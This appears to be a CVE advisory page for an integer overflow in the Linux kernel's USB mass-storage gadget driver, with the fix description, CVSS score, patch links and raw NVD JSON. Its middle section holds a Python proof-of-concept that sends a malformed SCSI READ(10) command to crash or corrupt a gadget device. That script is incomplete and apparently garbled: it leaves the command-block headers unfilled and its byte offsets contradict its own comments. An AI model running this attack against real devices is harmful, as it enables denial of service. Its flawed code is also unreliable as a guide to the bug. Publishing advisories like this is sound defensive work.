CVE-2026-31412

Description

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_mass_storage: Fix potential integer overflow in check_command_size_in_blocks() The `check_command_size_in_blocks()` function calculates the data size in bytes by left shifting `common->data_size_from_cmnd` by the block size (`common->curlun->blkbits`). However, it does not validate whether this shift operation will cause an integer overflow. Initially, the block size is set up in `fsg_lun_open()` , and the `common->data_size_from_cmnd` is set up in `do_scsi_command()`. During initialization, there is no integer overflow check for the interaction between two variables. So if a malicious USB host sends a SCSI READ or WRITE command requesting a large amount of data (`common->data_size_from_cmnd`), the left shift operation can wrap around. This results in a truncated data size, which can bypass boundary checks and potentially lead to memory corruption or out-of-bounds accesses. Fix this by using the check_shl_overflow() macro to safely perform the shift and catch any overflows.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Fixed in commit 228b37936376143f4b60cc6828663f6eaceb81b5)

Linux Kernel (Fixed in commit 3428dc5520c811e66622b2f5fa43341bf9a1f8b3)

Linux Kernel (Fixed in commit 387ebb0453b99d71491419a5dc4ab4bee0cacbac)

Linux Kernel (Fixed in commit 8479891d1f04a8ce55366fe4ca361ccdb96f02e1)

Linux Kernel (Fixed in commit 91817ad5452defe69bc7bc0e355f0ed5d01125cc)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import usb.core
import usb.util

# PoC: CVE-2026-31412
# This script attempts to trigger the integer overflow in the Linux USB Gadget f_mass_storage driver.
# It requires a target Linux device configured as a USB Mass Storage gadget.

# Find the USB Mass Storage Gadget device
dev = usb.core.find(idVendor=0x0525, idProduct=0xa4a5) # Example IDs for File-backed Storage Gadget

if dev is None:
    raise ValueError('Device not found')

# Detach kernel driver if active
for cfg in dev:
    for intf in cfg:
        if dev.is_kernel_driver_active(intf.bInterfaceNumber):
            dev.detach_kernel_driver(intf.bInterfaceNumber)

dev.set_configuration()

# Endpoint selection
# Assuming endpoint 1 is Bulk OUT and endpoint 2 is Bulk IN
ep_out = dev[0][(0,0)][1]
ep_in = dev[0][(0,0)][2]

# Construct a malicious SCSI READ(10) Command
# Objective: Trigger overflow in check_command_size_in_blocks
# data_size_from_cmnd (bytes 2-5) set to a large value to cause shift overflow with blkbits

cbw = bytearray(31)
cbw[0] = 0x55 # Signature
cbw[1] = 0x53 # Signature
# ... (CBW headers setup)
cbw[15] = 0x28 # Opcode: READ(10)

# Set allocation length (bytes 7-10 in SCSI CDB, mapped to data_size_from_cmnd)
# A large value to trigger overflow when shifted left by blkbits
cbw[20] = 0xFF 
cbw[21] = 0xFF 
cbw[22] = 0xFF 
cbw[23] = 0xFF 

try:
    # Send the Command Block Wrapper
    ep_out.write(cbw)
    print("Malicious SCSI command sent.")
    
    # The kernel gadget should process this and potentially crash or corrupt memory
    
except usb.core.USBError as e:
    print(f"USB Error: {e}")
finally:
    usb.util.dispose_resources(dev)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31412
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31412
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31412/
[4] VulDB https://vuldb.com/cve/CVE-2026-31412
[5] https://git.kernel.org/stable/c/228b37936376143f4b60cc6828663f6eaceb81b5
[6] https://git.kernel.org/stable/c/3428dc5520c811e66622b2f5fa43341bf9a1f8b3
[7] https://git.kernel.org/stable/c/387ebb0453b99d71491419a5dc4ab4bee0cacbac
[8] https://git.kernel.org/stable/c/8479891d1f04a8ce55366fe4ca361ccdb96f02e1
[9] https://git.kernel.org/stable/c/91817ad5452defe69bc7bc0e355f0ed5d01125cc
[10] https://git.kernel.org/stable/c/ce0caaed5940162780c5c223b8ae54968a5f059b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31412", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-10T11:16:22.967", "lastModified": "2026-05-20T15:54:46.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_mass_storage: Fix potential integer overflow in check_command_size_in_blocks()\n\nThe `check_command_size_in_blocks()` function calculates the data size\nin bytes by left shifting `common->data_size_from_cmnd` by the block\nsize (`common->curlun->blkbits`). However, it does not validate whether\nthis shift operation will cause an integer overflow.\n\nInitially, the block size is set up in `fsg_lun_open()` , and the\n`common->data_size_from_cmnd` is set up in `do_scsi_command()`. During\ninitialization, there is no integer overflow check for the interaction\nbetween two variables.\n\nSo if a malicious USB host sends a SCSI READ or WRITE command\nrequesting a large amount of data (`common->data_size_from_cmnd`), the\nleft shift operation can wrap around. This results in a truncated data\nsize, which can bypass boundary checks and potentially lead to memory\ncorruption or out-of-bounds accesses.\n\nFix this by using the check_shl_overflow() macro to safely perform the\nshift and catch any overflows."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3", "versionEndExcluding": "6.1.167", "matchCriteriaId": "BDC4AAED-D1FA-456B-BA2C-EB168B6B2315"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/228b37936376143f4b60cc6828663f6eaceb81b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3428dc5520c811e66622b2f5fa43341bf9a1f8b3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/387ebb0453b99d71491419a5dc4ab4bee0cacbac", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8479891d1f04a8ce55366fe4ca361ccdb96f02e1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/91817ad5452defe69bc7bc0e355f0ed5d01125cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ce0caaed5940162780c5c223b8ae54968a5f059b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}